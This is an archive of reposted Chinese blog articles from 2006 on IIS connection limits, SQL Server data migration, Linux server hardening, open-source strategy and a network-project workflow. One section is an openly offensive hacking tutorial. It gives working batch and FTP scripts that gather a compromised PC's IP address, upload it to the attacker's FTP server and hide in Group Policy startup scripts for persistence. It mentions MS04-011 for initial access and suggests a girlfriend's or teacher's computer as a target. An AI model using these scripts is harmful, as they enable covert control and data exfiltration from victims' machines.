2006年03月20日

转自:网易论坛

首先了解什么是IIS连接数。
IIS连接数指并发连接数,什么意思呢?
要分几种情况:(以100M空间50人在线为例)
A 用户单点下载你的文件,结束后正常断开,这些连接是按照瞬间计算的,就是说你50人的网站瞬间可以接受同时50个点下载
B 用户打开你的页面,就算停留在页面没有对服务器发出任何请求,那么在用户打开一面以后的15分钟内也都要算一个在线,就是说你50人的网站15分钟内可以接受不同用户打开50个页面
C 上面B的情况用户继续打开同一个网站的其他页面,那么在线人数按照用户最后一次点击(发出请求)以后的15分钟计算,在这个15分钟内不管用户怎么点击(包括新窗口打开)都还是一人在线。
D 当你的页面内存在框架(Iframe),那么每多一个框架就要多一倍的在线!因为这相当于用户同一时间向服务器请求了多个页面。
E 当用户打开页面然后正常关闭浏览器,用户的在线人数也会马上清除。

然后了解什么是论坛在线人数。
论坛在线只是计算一定时间内的活动用户数。
这里的时间用户可以自己设定(删除不活动用户时间),动网论坛默认为40分钟的相对准确值。

根据上面的说明,显然论坛在线和IIS连接数的概念不同
比如您的网站20IIS,出现了403.9错误提示IIS连接过多,而这个时候你的论坛却只显示10人在线(假设在线时间设置为20分钟),那么正确的解释应该是:
访问您的网站有20个连接,其中正常访问论坛的人有10个。

为什么会出现IIS连接数和论坛在线不符合的情况?
现具体分析如下:

1:您使用了插件版论坛!
现在的插件很垃圾,不但占服务器资源,而且会使论坛运行变慢(没有插件可以快一倍以上),同时很占在线人数,有的插件调用很多框架,少则2、3个,多则4、5个! 甚至有在线播放音乐,这样一个人在线就相当与很多人在线!

2:您的网站是主页+论坛的形式!
这样主页和论坛要争夺你的在线人数!

3:你的论坛内部有播放器!
一个人在线,然后他在线播放音乐,就占二个人在线!

4:你的论坛内部存在框架形式的网页!
每一个框架,就多一倍的在线!

5:你的论坛设置在线时间过小!
动网6.0论坛默认为40分钟,这个默认值下,一般20IIS的虚拟主机可以达到50人左右,因为论坛在线只是计算一定时间内的活动用户数,当您设定的时间较小的时候,看起来论坛在线的人数就自然少了,请把删除不活动用户时间改为默认的40分钟就可以!

6:你的空间存在多个论坛!
有的客户在一个空间里上传多个论坛,如bbs bbs1 bbs2 等等 等等
毫无疑问,这样个论坛也是要争夺再线人数的!

7:你的论坛图片等文件被人盗链!
比如:你的论坛有张图片文件,被粘贴(注意是粘贴不是上传)到别的论坛!
别的论坛的用户在浏览该文件的时候也算一个在线人数!
尤其是LOGO连接的时候注意,一定要对方把您的LOGO上传到他的空间!

8:你的空间上放有下载文件!
如果用户用网络蚂蚁类的软件,每一个线程就表示一个在线,非常厉害!
——————————————————————————————————

解决办法:

1:去掉垃圾的插件版,用纯洁版!
2:LOGO连接时,请对方把您的LOGO传到他的空间!
3:尽量不要采用框架的形式制作页面!
4:不要放任何的音乐、电影、下载!
5:防止盗连情况的发生!
6:联系空间提供商,购买更多的在线人数!
7:如果是无插件的纯论坛,而您的在线显示却只有IIS数的一半以下,您又不能确定到底是什么占用了连接,您可以联系空间提供商,他们一般会您协助做网站访问日志,以便找出其他非法连接。

网站推荐:去哪儿旅游搜索引擎http://www.qunar.com/

2006年02月25日

1. 通过工具DTS的设计器进行导入或导出
  DTS的设计器功能强大,支持多任务,也是可视化界面,容易操作,但知道的人一般不多,如果只是进行SQL Server数据库中部分表的移动,用这种方法最好,当然,也可以进行全部表的移动。在SQL Server Enterprise Manager中,展开服务器左边的+,选择数据库,右击,选择All tasks/Import Data…(或All tasks/Export Data…),进入向导模式,按提示一步一步走就行了,里面分得很细,可以灵活的在不同数据源之间复制数据,很方便的。而且可以另存成DTS包,如果以后还有相同的复制任务,直接运行DTS包就行,省时省力。也可以直接打开DTS设计器,方法是展开服务器名称下面的Data Transformation Services,选Local Packages,在右边的窗口中右击,选New Package,就打开了DTS设计器。值得注意的是:如果源数据库要拷贝的表有外键,注意移动的顺序,有时要分批移动,否则外键主键,索引可能丢失,移动的时候选项旁边的提示说的很明白,或者一次性的复制到目标数据库中,再重新建立外键,主键,索引。
  其实建立数据库时,建立外键,主键,索引的文件应该和建表文件分开,而且用的数据文件也分开,并分别放在不同的驱动器上,有利于数据库的优化。
  2. 利用Bcp工具
  这种工具虽然在SQL Server7的版本中不推荐使用,但许多数据库管理员仍很喜欢用它,尤其是用过SQL Server早期版本的人。Bcp有局限性,首先它的界面不是图形化的,其次它只是在SQL Server的表(视图)与文本文件之间进行复制,但它的优点是性能好,开销小,占用内存少,速度快。有兴趣的朋友可以查参考手册。
  3. 利用备份和恢复
  先对源数据库进行完全备份,备份到一个设备(device)上,然后把备份文件复制到目的服务器上(恢复的速度快),进行数据库的恢复操作,在恢复的数据库名中填上源数据库的名字(名字必须相同),选择强制型恢复(可以覆盖以前数据库的选项),在选择从设备中进行恢复,浏览时选中备份的文件就行了。这种方法可以完全恢复数据库,包括外键,主键,索引。
  4. 直接拷贝数据文件
  把数据库的数据文件(*.mdf)和日志文件(*.ldf)都拷贝到目的服务器,在SQL Server Query Analyzer中用语句进行恢复:
  EXEC sp_attach_db @dbname = ’test’,
  @filename1 = ’d:mssql7data est_data.mdf’,
  @filename2 = ’d:mssql7data est_log.ldf’
  这样就把test数据库附加到SQL Server中,可以照常使用。如果不想用原来的日志文件,可以用如下的命令:
  EXEC sp_detach_db @dbname = ’test’
  EXEC sp_attach_single_file_db @dbname = ’test’,
  @physname = ’d:mssql7data est_data.mdf’
  这个语句的作用是仅仅加载数据文件,日志文件可以由SQL Server数据库自动添加,但是原来的日志文件中记录的数据就丢失了。
  
  5. 在应用程序中定制
  可以在应用程序(PB、VB)中执行自己编写的程序,也可以在Query Analyzer中执行,这种方法比较灵活,其实是利用一个平台连接到数据库,在平台中用的主要时SQL语句,这种方法对数据库的影响小,但是如果用到远程链接服务器,要求网络之间的传输性能好,一般有两种语句:
1> select … into new_tablename where …
2> insert (into) old_tablename select … from … where …
区别是前者把数据插入一个新表(先建立表,再插入数据),后者是把数据插入已经存在的一个表中,我个人喜欢后者,因为在编程的结构上,应用的范围上,第二条语句强于前者。
  6. SQL Server的复制功能
  SQL Server提供了强大的数据复制功能,也是最不易掌握的,具体应用请参考相关资料,值得注意的是要想成功进行数据的复制工作,有些条件是必不可少的:
  1>SQL Server Agent必须启动,MSDTC必须启动。
  2>所有要复制的表必须有主键。
  3>如果表中有text或image数据类型,必须使用with log选项,不能使用with no_log选项。
  另外max text repl size选项控制可以复制的文本和图像数据的最大规模,超过这个限制的操作将失败。
  4>在要进行复制的计算机上,应该至少是隐含共享,即共享名是C$或D$…。
  5>为SQL Server代理使用的Windows NT帐号不能是一个本地的系统帐号,因为本地的系统帐号不允许网络存取。
  6>如果参与复制的服务器在另外的计算机域中,必须在这些域之间建立信任关系。本人从事的工作是数据库管理员,要维护多台服务器中的数据库,经常把某台服务器中的某个数据库移动到另外一台服务器,对数据的移动有些心得体会,希望和大家共同交流。

网站推荐:去哪儿旅游搜索引擎http://www.qunar.com/

2006年02月15日

§关于分区:

一个潜在的黑客如果要攻击你的Linux  服务器,他首先就会尝试缓冲区溢出。在过去的几年中,以缓冲区溢出为类型的安全漏洞是最为常见的一种形式了。更为严重的是,缓冲区溢出漏洞占了远程网络攻击的绝大多数,这种攻击可以轻易使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!

为了防止此类攻击,我们从安装系统时就应该注意。如果用root分区纪录数据,如log  文件和email  ,就可能因为拒绝服务产生大量日志或垃圾邮件,从而导致系统崩溃。所以建议为/var开辟单独的分区,用来存放日志和邮件,以避免root分区被溢出。最好为特殊的应用程序单独开一个分区,特别是可以产生大量日志的程序,还有建议为/home  单独分一个区,这样他们就不能填满/  分区了,从而就避免了部分针对Linux  分区溢出的恶意攻击。

§关于BIOS:

记着要在BIOS设置中设定一个BIOS密码,不接收软盘启动。这样可以阻止不怀好意的人用专门的启动盘启动你的Linux  系统,并避免别人更改BIOS设置,如更改软盘启动设置或不弹出密码框直接启动服务器等等。

§关于口令:

口令是系统中认证用户的主要手段,系统安装时默认的口令最小长度通常为5  ,但为保证口令不易被猜测攻击,可增加口令的最小长度,至少等于8.为此,需修改文件/etc/login.defs  中参数PASS_MIN_LEN(口令最小长度)。同时应限制口令使用时间,保证定期更换口令,建议修改参数PASS_MIN_DAYS  (口令使用时间)。

§关于Ping:

既然没有人能ping通你的机器并收到响应,你可以大大增强你的站点的安全性。你可以加下面的一行命令到/etc/rc.d/rc.local,以使每次启动后自动运行,这样就可以阻止你的系统响应任何从外部/  内部来的ping请求。

echo  1  >  /proc/sys/net/ipv4/icmp_echo_ignore_all

§关于Telnet:

如果你希望用户用Telnet远程登录到你的服务器时不要显示操作系统和版本信息(可以避免有针对性的漏洞攻击),你应该改写/etc/inetd.conf  中的一行象下面这样:

telnet  stream  tcp  nowait  root  /usr/sbin/tcpd  in.telnetd  -h

加-h标志在最后使得telnet后台不要显示系统信息,而仅仅显示login.

§关于特权账号:

禁止所有默认的被操作系统本身启动的且不需要的帐号,当你第一次装上系统时就应该做此检查,Linux  提供了各种帐号,你可能不需要,如果你不需要这个帐号,就移走它,你有的帐号越多,就越容易受到攻击。

为删除你系统上的用户,用下面的命令:userdel  username

为删除你系统上的组用户帐号,用下面的命令:groupdel  username

在终端上打入下面的命令删掉下面的特权用账号:

userdel  adm  userdel  lp  userdel  sync  userdel  shutdown  userdel  halt  userdel  mail

如果你不用sendmail服务器,就删除这几个帐号:

userdel  news  userdel  uucp  userdel  operator  userdel  games

如果你不用X  windows  服务器,就删掉这个帐号。

userdel  gopher

如果你不允许匿名FTP  ,就删掉这个用户帐号:

userdel  ftp

§关于su命令:

如果你不想任何人能够su为root的话,你应该编辑/etc/pam.d/su  文件,加下面几行:

auth  sufficient  /lib-  /security/pam_rootok-  。so  debug

auth  required  /lib-  /security/pam_wheel-。so  group=isd

这意味着仅仅isd  组的用户可以su作为root.  如果你希望用户admin  能su作为root.  就运行下面的命令:

usermod  -G10  admin

suid程序也是非常危险的,这些程序被普通用户以euid=0(即root)的身份执行,只能有少量程序被设置为suid.  用这个命令列出系统的suid二进制程序:

suneagle#  find  /  -perm  -4000  -print

你可以用chmod  -s去掉一些不需要程序的suid位。

§关于账户注销:

如果系统管理员在离开系统时忘了从root注销,系统应该能够自动从shell  中注销。那么,你就需要设置一个特殊的Linux  变量“tmout  ”,用以设定时间。同样,如果用户离开机器时忘记了注销账户,则可能给系统安全带来隐患。你可以修改/etc/profile文件,保证账户在一段时间没有操作后,自动从系统注销。编辑文件/etc/profile,在“histfilesize=  ”行的下一行增加如下一行:

tmout=600

则所有用户将在10分钟无操作后自动注销。注意:修改了该参数后,必须退出并重新登录root,更改才能生效。

§关于系统文件:

对于系统中的某些关键性文件如passwd、passwd.old、passwd._、shadow、shadown._、inetd.conf、services和lilo.conf  等可修改其属性,防止意外修改和被普通用户查看。如将inetd  文件属性改为600  :

#  chmod  600  /etc/inetd.conf

这样就保证文件的属主为root,然后还可以将其设置为不能改变:

#  chattr  +i  /etc/inetd.conf

这样,对该文件的任何改变都将被禁止。你可能要问:那我自己不是也不能修改了?当然,我们可以设置成只有root重新设置复位标志后才能进行修改:

#  chattr  -i  /etc/inetd.conf

§关于用户资源:

对你的系统上所有的用户设置资源限制可以防止DoS  类型攻击,如最大进程数,内存数量等。例如,对所有用户的限制,编辑/etc/security/limits.con加入以下几行:

*  hard  core  0  *  hard  rss  5000  *  hard  nproc  20

你也必须编辑/etc/pam.d/login文件,检查这一行的存在:

session  required  /lib/security/pam_limits.so

上面的命令禁止core  files“core  0”,限制进程数为“nproc  50”,且限制内存使用为5M“rss  5000”。

§关于NFS  服务器:

由于NFS  服务器漏洞比较多,你一定要小心。如果要使用NFS  网络文件系统服务,那么确保你的/etc/exports具有最严格的存取权限设置,不意味着不要使用任何通配符,不允许root写权限,mount  成只读文件系统。你可以编辑文件/etc/exports并且加:

/dir/to/export  host1.mydomain.com  (ro,root_squash  )

/dir/to/export  host2.mydomain.com  (ro,root_squash  )

其中/dir/to/export是你想输出的目录,host.mydomain.com  是登录这个目录的机器名,ro意味着mount  成只读系统,root_squash  禁止root写入该目录。最后为了让上面的改变生效,还要运行/usr/sbin/exportfs  -a

§关于开启的服务:

默认的linux  就是一个强大的系统,运行了很多的服务。但有许多服务是不需要的,很容易引起安全风险。这个文件就是/etc/inetd.conf  ,它制定了/usr/sbin/inetd将要监听的服务,你可能只需要其中的两个:telnet和ftp  ,其它的类如shell  ,  login  ,  exec  ,  talk  ,  ntalk,  imap  ,  pop-2,  pop-3,  finger  ,  auth  ,  etc.除非你真的想用它。否则统统关闭之。

你先用下面的命令显示没有被注释掉的服务:

grep  -v  "#"  /etc/inetd.conf

这个命令统计面前服务的总数:

ps  -eaf|wc  -l

需要提醒你的是以下三个服务漏洞很多,强烈建议你关闭它们:S34yppasswdd(NIS  服务器)、S35ypserv  (NIS  服务器)和S60nfs(NFS  服务器)。

我们可以运行#killall  -HUP  inetd  来关闭不需要的服务。当然,你也可以运行

#chattr  +i  /etc/inetd.conf

如果你想使inetd.conf文件具有不可更改属性,而只有root才能解开,敲以下命令

#chattr  -i  /etc/inetd.conf

当你关闭一些服务以后,重新运行以上命令看看少了多少服务。运行的服务越少,系统自然越安全了。我们可以用下面命令察看哪些服务在运行:

netstat  -na  ip

如果你用的是Redhat那就方便多了。^_^  Redhat提供一个工具来帮助你关闭服务,输入/usr/sbin/setup  ,然后选择"system  services"  ,就可以定制系统启动时跑哪些服务。另外一个选择是chkconfig  命令,很多linux  版本的系统都自带这个工具。脚本名字中的数字是启动的顺序,以大写的K  开头的是杀死进程用的。

§关于日志:

所有的日志都在/var/log下(仅对linux  系统而言),默认情况下linux  的日志就已经很强大了,但除ftp  外。因此我们可以通过修改/etc/ftpaccess或者/etc/inetd.conf,来保证每一个ftp  连接日志都能够纪录下来。下面是一个修改inetd.conf的例子,假如有下一行:

ftp  stream  tcp  nowait  root  /usr/sbin/tcpd  in.ftpd  -l  -L  -i  -o

注释:-l每一个ftp  连接都写到syslog  -L  纪录用户的每一个命令-i文件received,纪录到xferlog  -o文件transmitted  ,记录到xferlog

不过你也不要太相信日志,因为绝大部分黑客都有“擦脚印”的“好”习惯啰!如果你不放心,最好安装一个Sniffer  吧。

§关于TCP_WRAPPERS:

默认的,Redhat  Linux允许所有的请求,这是很危险的。如果用TCP_WRAPPERS来增强我们站点的安全性简直是举手之劳,你可以将禁止所有的请求放入“ALL  :  ALL  ”到/etc/hosts.deny  中,然后放那些明确允许的请求到/etc/hosts.allow中,如:

sshd:  192.168.1.10/255.255.255.0  gate.openarch.com

对IP地址192.168.1.10和主机名gate.openarch.com  ,允许通过ssh  连接。配置完了之后,用tcpdchk  检查,你可以直接执行:tcpdchk.在这里,tcpchk是TCP_Wrapper配置检查工具,它检查你的tcp  wrapper  配置并报告所有发现的潜在/  存在的问题。

§关于补丁:

你应该经常到你所安装的Linux  系统发行商的主页上去找最新的补丁。例如:对于Redhat系统而言可以在:http://www.redhat.com/corp/support/errata/上找到补丁。幸运的是,在Redhat6.1  以后的版本带有一个自动升级工具up2date  ,它能自动够测定哪些rpm  包需要升级,然后自动从Redhat的站点下载并完成安装。这对某些懒惰的管理员来说,可是个省精神的福音哦!

网站推荐:去哪儿旅游搜索引擎http://www.qunar.com/twell/longwell?locale=zh

By  剑心[B.C.T]

记得N久前的月黑风高的晚上,正是弱口令泛滥成灾的时候,作为菜鸟的我的一大爱好就是拿着x-scan2.3扫描弱口令,因为一些个人上网的用户对安全一点都不重视,默认安装的弱口令到处都是,那时真是爽啊~~怀念ING!
暂且不说经典的弱口令入侵了,那个相信大家都会。当时我难以解决的一个问题就是这些肉鸡只要一重起重新连接的话,ip每次都会变化的,菜鸟的我不会用反向的木马,一见加壳头就大,偏偏杀毒软件超级BT,又不会编程,那感觉简直就像看着上钩的鱼儿游回大海,那个郁闷啊~~~后来终于让我找到一种用脚本牢牢抓住肉鸡ip的方法,注意这些都是正常的脚本,不会被杀毒软件发现的哦,隐蔽而安全,让你十分想要的又是动态ip的肉鸡难逃五指山(譬如你女朋友或者老师的电脑~~)。
废话不多说了,我们就一起来看看如何用脚本栓住肉鸡吧!首先,我们知道因为我们的肉鸡很特殊,不是长时间在线,我们不过是因为一些特别的原因而想要长期控制他,但是因为安全的原因不想用木马。我们的问题是肉鸡上线后如何在想得到他的ip的时候可以快速得到他的ip,(假设你已经开启了肉鸡的telnet或者其他的后门,只要知道ip就可以登陆)。这里,我用的方法是ftp,我也曾经想过用http的方法,但是实现的难度大点就不考虑了。这里,首先看这几个命令:

ipconfig  >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
time  /t  >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
date  /t  >C:\WINNT\system32\config\config.txt

相信大家一看就明白,这样就可以把我们想要的信息ip和上线日期写入文件了,你也可以改进下,变的美观并且直接些,譬如echo写上肉鸡的名字,这样就好分辨了,留给有创意的朋友去发挥了!。
这样将信息写如文件后的一个问题是如何将这信息写到某个我们可以读取的地方。曾想过用nc通过http提交,但是由于文件的大小及http协议的原因没有实验,有朋友有兴趣的话可以试试。这里我用的一个是ftp的-s参数:

ftp  -n  -s:"c:\WINNT\system32\system.ftp"

-s:后是ftp命令的脚本,其中system.ftp的内容如下:

open  127.0.0.1  8888
user  jnc
123
prompt
mput  c:\WINNT\system\config\config.txt
bye

首先打开一个公网ip的ftp(可以是你的某个肉鸡,甚至是更新的域名。),这里是我自己的ftp,端口为8888,然后输入用户名密码,各做一行,接着是上传我们写好的配置文件到一个目录下,如果是你的网页目录的话,当我们的配置文件上传后就可以通过http://jnc.xxx.com/ipconfig.txt直接读取了。
哈哈,文件上传的问题解决了,在肉鸡方面什么时候执行这样的写文件并且执行上传文件的操作呢?要知道个人用户这类肉鸡不是像服务器样时刻都在线的,他们在线的时间不一定,我们如何才可以在他们上线了的时候才执行上面的操作呢?这里我用的是批处理的循环操作,命令如下:

ping  www.163.com|find  "Reply  from"
if  %ERRORLEVEL%==0  goto  ok
if  %ERRORLEVEL%==1  goto  end
:o k
ipconfig  >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
time  /t  >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
date  /t  >C:\WINNT\system32\config\config.txt
ftp  -n  -s:"c:\WINNT\system32\system.ftp"
exit
:end
ping  www.163.com|find  "Reply  from"
if  %ERRORLEVEL%==0  goto  ok
if  %ERRORLEVEL%==1  goto  end
或者

ping  www.163.com|find  "Reply  from"&&goto  ok
goto  end
:o k
ipconfig  >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
time  /t  >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
date  /t  >C:\WINNT\system32\config\config.txt
ftp  -n  -s:"c:\WINNT\system32\system.ftp"
exit
:end
ping  www.163.com|find  "Reply  from"&&goto  ok
goto  end
嘿嘿,首先ping网易的域名在结果中如果得到有数据包返回的信息即返回  %ERRORLEVEL%==0  说明用户上线,够毒吧!这时马上将肉鸡信息写入文件并且上传,如果ping不通就执行循环直到网络接通。
这样的话,所要执行的文件就写出来了,现在的问题是如何将执行文件的整个过程变的隐蔽,开始我想的是将这个批处理文件写到启动栏里,但是启动的时候黑黑的界面太危险,而且有循环的,人家不怀疑才怪呢!更糟的是不小心还会遗失自己的ftp密码。经过一段时间的搜索发现将脚本写入到组策略的启动脚本里就没有任何提示了!而且启动脚本比较隐蔽,一般个人用户都不会注意到这个地方,并且也很容易实现。我们分析启动脚本的配置文件C:\WINNT\system32\GroupPolicy\Machine\Scripts\scripts.ini,注意这个文件当配置启动脚本时才会出现,并且有系统隐藏属性。文件如下:

[Startup]
0CmdLine=E:\test\run.vbe
0Parameters=
首先空一行,然后是脚本的类型,这里是启动脚本[Startup],(当然不要关机脚本了,汗!)下面是配置脚本了,数字0代表第一个脚本,CmdLine后面是脚本的位置,Parameters是参数,这里就不需要了。
好,配置好的scripts.ini如下

[Startup]
0CmdLine=c:\winnt\system32\system.bat
0Parameters=
上述文件写入system32文件夹的原因是为了隐蔽,到这里,我们需要解决的问题都一一解决,为了方便,将一切都交给批处理吧,这样在shell里就会很好的实现了。
让我们来实验下吧!先得到一个肉鸡的shell吧!(扫描个人上网用户的ip段好象满地都是这东西~),空口令没有了,我们就来ms04011吧!嘿嘿~得到shell如图1!
想要留住的话就用这个脚本试试,首先写system.ftp文件,最后用echo写system.bat文件,写启动脚本如图二。嘿嘿,小样,你还跑得了?等他重起后访问我网站的config.txt得到他的ip,哈哈,就不抓图了。

网站推荐:去哪儿旅游搜索引擎http://www.qunar.com/twell/longwell?locale=zh

2006年01月23日

开放源码软件(OSS)已经有了一个很好的开端,但是它仍然无以改变整个IT环境,直到社会公众能够来认真的定义商务框架结构及作用过程。以上是由Charles  E.  Bess  P.E.以及EDS的同伴们所得出的结论。

  在本次的采访中,Bess对Linux及开放源码的未来发展发表了自己的观点。他同时还列出了其他的一些热门的新技术,认为它们可能在2006年中震惊世界。EDS公司是美国得克萨斯州普莱诺市的一家全球技术服务公司;Bess是该公司的主要预测分析师,他主要研究软件行业的一些未来的发展走势。

  您对于Linux及开放源码未来发展的总体观点是什么呢?

  Bess:我相信开放源码的观念是一个很不错的开端,但是它要想有着重要的商务影响力,还需要发展其商务框架结构及作用过程。我们可以快速的接受并不断的重申一些有可能产生商务价值的新技术模型及标准接口;然而对于公众来说,他们要的是把技术问题转化成商务驱动性问题。

  开放源码所引领的变化潮流对于人们来说很难接受吗?

  Bess:我相信,一般来说,人是不断的创新者。我们总是在寻求新的不同的方法来考虑和处理问题。

  然而,不同的个人对于变化的容忍和接受能力却是不同的。并不是每一个人或每一个组织部门都可以轻松的从商业软件产品的专业开发人员这一角色中退出。

  整个的组织部门并不完全需要拥有开放源码的技能。就像是在商业软件产品领域,存在管理者以及各种职员;他们可以在用户团体和厂家之间起到一个缓冲器的作用。当应用开放源码时,就需要与开放源码之间有着更高技能的衔接人员,他们往往把那些复杂的事务隐蔽起来,不显示给其他的组织部门。

  在加速商务IT环境的改变中,开放源码的源代码所扮演的角色是怎么样的呢?

  Bess:开放源码给所有的那些期望参与系统、软件创建的人员提供了机会,使其能够获得特殊问题及解决方案的知识、方法等。他们可以了解这些事务及问题,并按照各自的需要来进行完善,使其能够解决特殊的商务问题。这种灵活性可以使得商务部门不断开拓前进并创造商务价值。按照定义规律等,那些最熟悉开放源码的人员将成为这些初始变革的动力所在。

  在什么情况下,商务部门可以使用开放源码软件作为一种竞争武器呢?

  Bess:应用这种基于公众的软件可以减少一个组织部门对于那些技术供应者的依赖性,有些组织部门非常看重这种相对的独立性。通过进入系统或软件的源代码,他们可以不受那些生产厂家的产品限制,并且可以把自己与其他的用户区别开来。

  对于一个IT组织部门而言,当选择开放源码应用软件的时候,有什么必需的关键点吗?

  Bess:这些新的趋势需要一种长时间尺度上的支持。应用商业软件产品的首要的一条规则是“不要做任何的有碍于将来进行产品升级的事情。”这也同样适用于开放源码。

  你的一切的改革和扩展措施的执行都需要与开放源码公众的方向的保持一致,除非你的组织部门想单独撑起一片天。你需要投入精力来保持你的系统、软件等沿着正确的道路发展。有着比较清晰、明确的接口定义将提高灵活性,并在比较长的时间尺度上保持较低的成本费用。

  开放源码软件在IT选择中的出现,将会增加还是减弱IT基础体系的简易性及可预测性呢?

  Bess:当一个组织部门开始其开放源码路线的时候,他们需要确定自己能够等到更多的深层知识,并能够提供各种不同的管理费用。这虽然不是一个战术问题,但是却是一个装置声明周期的策略性问题。一些人认为开放源码是免费的,但是这并不是一种积极主动的想法。

  开放源码的高级管理费用可以与其较低的甚至免费的软件注册费用相抵消。那些拥有开放源码问题解决处理能力的人员,他们处于一个十分重要的位置上,对于组织部门而言他们至少要扮演其所取代的原来的专业产品厂家的角色。即使当一个组织部门已经在很大程度上开始使用开放源码的时候,这仍然不能说这是一个实际正确的决定。每一个新的工程项目团体都需要认真的评价比较商业软件和开放源码软件的优劣性;然后针对自己的公司形势来评测各自的性价比情况。

  到底是购买商业软件还是应用开放源码软件,这个决定需要进一步的扩展考虑,那就是这种结果解决方案是否符合开放源码团体。对于一些软件而言,购买使用权限也需要这种考虑。

  除了Linux以及开放源码之外,还有那些技术将会大力驱动IT革新呢?

  Bess:3G无线网络与支持内容管理的地理信息之间的整合,将会更好的管理人们对于一些大事件的全方位看法评价等,包括地点、人物以及内容等。

  IP协议多媒体子系统(IMS)将在网络空间中带来更大的灵活性和功能性。

  基于面向服务结构之上的模型驱动的体系结构技术,将催动商务分析作用的新生,并且将驱动软件与服务之间的更紧密的整合。

  多内核的计算机硬件以及硬件虚拟技术的使用将在2006年中有着全面的发展。这将允许更加高速有效的运算能力,或者至少可以更加有效的使用各种计算资源,并且可以通过支持一些未使用的环境空间来节省一些软件和硬件的投资成本及维护费用。它还可以减少一些运作成本,因为虚拟技术能够自动的执行很多的功能维护,如果设置合理的话。

  仿真以及模式识别技术将开始进入商务主流之中。它可以提高根据目标形势环境的推测理解能力,并有着更多的基于事实的灵活性,而不再是单纯的假设。它还可以使得组织部门应用计算机来处理一些正常的活动,这样就可以把人员解放出来处理一些特殊的形势,从而能够产生和得到更大的价值。

  更完善的智能应用软件将会把一些计算和处理分配到公司的各个方面和部门,这样以来就可以提供更加详细的、及时的信息。

网站推荐:去哪儿旅游搜索引擎http://www.qunar.com/

2006年01月19日

作者: luogang

网络技术部工作流程
一、      工作流程说明
1、根据销售部门提出的服务请求由销售代表填写服务请求表格,在服务请求表格中详细填写以下信息:用户详细信息、服务请求类型、服务内容、服务请求时间等等信息。
2、网络技术的受理人员将销售或业务部门的服务申请单提交给部门主管,由部门技术主管结合当前的工作安排以及申请服务的技术类型,合理的安排相应的技术人员受理该项服务(设计服务)。
3、根据销售部门对整个项目的了解情况,以及网络技术部门对方案设计数据的需求情况决定是否需要对用户进行上门调研。
3.1      需要项目上门调研。由网络技术部门主观指派响应的技术人员上门对客户的情况进行了解,填写项目调研、现场勘察的各种表格。
3.2      不需要项目上门调研。销售方已经充分了解了用户的需求,由销售方填写用户需求的表格。
4、将项目调研的各种数据进行汇总整理,结合项目的需求开展项目讨论,成立项目小组,根据项目的类型指派相应技术人员进行方案的设计,相关销售人员配合,填写方案设计报告表。
5、技术人员在方案设计报告表要求的时间内设计解决方案,在设计过程中充分结合销售部门人员,出现设计目标不明确或数据不清楚的情况及时联系甲方负责人,进行项目补充调查。
6、方案设计完成后,由方案设计人员发起,网络技术主管主持、网络技术人员以及相关销售人员参加的项目设计方案讨论会,着重对方案的可行性、先进性、设备选型、造价幅度等情况进行审核,最终确立技术方案,由技术总监签字确认。
7、将设计出的方案提交给物流部门,由物流部门制定项目设备预算报价,销售部门制定自己的投标报价。
8、将设计的方案书与投标报价提交甲方。
8.1 根据甲方的要求,我方技术人员到达用户现场解答用户提出的各种问题,对设计方案进行现场的技术讲解。
9、签定合同。
10、技术总监组织相关技术人员开展项目组织会议,成立项目实施小组,安排负责人,根据合同工期要求编写施工组织计划与施工方案。
11、进入项目管理阶段,结合项目管理手册对项目进行管理。
12、进行项目准备会
参加部门:项目实施部 销售部门 物流部门 财务部门
行政人事部门
需明确的会议议题:
      成立项目小组并且明确分工、职责与负责人
      确立施工的起始时间
      制订项目准备阶段的时间计划表
      项目施工人力资源计划(项目实施部、行政人事部)
      项目实施时间计划(销售部、项目实施部)
      材料及设备采购与运输计划(物流部、财务部)
      车辆及后勤支持计划(行政人事部)
      资金使用计划(物流部、财务部、项目实施部)
      工程外包计划(物流部、项目实施部)
      内部到货验收、采购入帐计划(项目实施、物流部、财务部)
      出具XXX项目实施甘特图(汇总生成)
相关管理表格:
XXX项目人员一览表
材料设备采购申请单
外包工程预算表
龙信内部到货验收单
13、项目实施部门施工前准备会
由项目经理明确外出施工人员名单,需外出的施工人员向不需要外出的员工交半手头遗留的工作,项目经理对施工人员进行分工、分组,安排负责人。向施工人员讲解施工方案、施工组织计划与施工安排,强调施工组织纪律。
准备施工工具。
准备施工用管理表格。
后勤、车辆的准备。
填写出差申请单。
施工管理表格:
出差申请单 车辆申请表 工程用工具清单 综合布线材料明细单
信息模块安装记录 线缆敷设安装记录 施工现场情况考察表
综合布线工程测试记录 综合布线工程检测报告
设备到货内部验收单 施工人员工作日志 施工情况报告表
工具(材料)出\入库单 IP地址分配表 网络设备安装记录
网络设备调试报告 内部阶段工程质量抽查表
14 到达甲方施工现场
  首次与甲方项目负责人接洽,向甲方申请施工用休息区与库房,进行施工材料与设备的接货,填写内部到货验收单,并且以最短的时间以EMAIL或传真的形式发给公司物流部门与财务部门。
组织外包施工人员进场,项目经理向全体施工参与人员宣布注意事项,提出施工工期、工程进度、工程流水作业、工程质量等各方面的要求。我方技术人员向土木工程承包方的负责人与具体施工人员讲解对本次项目施工过程中的施工工艺、施工技术以及施工纪律等方面的要求。
在项目经理向甲方项目负责人提供并详细介绍我方施工方案、施工计划、施工图纸,得到甲方书面同意的基础上开始进行项目施工。
15 综合布线施工阶段
根据施工组织计划与施工分组情况开展各分阶段工程的施工,分段工程施工负责人及时向项目经理报告施工进行情况,施工中出现的问题由分段项目负责人以书面的形式报告给项目经理,项目经理进行问题的处理。如问题的解决需要甲方进行配合,由项目经理以书面的形式提交甲方负责人,并将甲方的处理意见与结果同样通过书面的形式返回给相关分段项目负责人安排解决。
分段项目负责人在项目进行过程中必须随时对以下问题进行抽查,并且即使上报项目经理,并由项目经理加以解决:
      没有按照综合布线施工的各项标准、工艺要求进行施工的
      施工中违反施工组织纪律的。
      施工中浪费施工材料的。
      外包工程人员施工过程中懒散、窝工的。
      施工工具乱丢、乱放,并且造成丢失的。
      施工过程中破坏、偷窃甲方公共财产的。
      施工过程中与甲方人员发生冲突的。
      施工中存在安全隐患的环节。
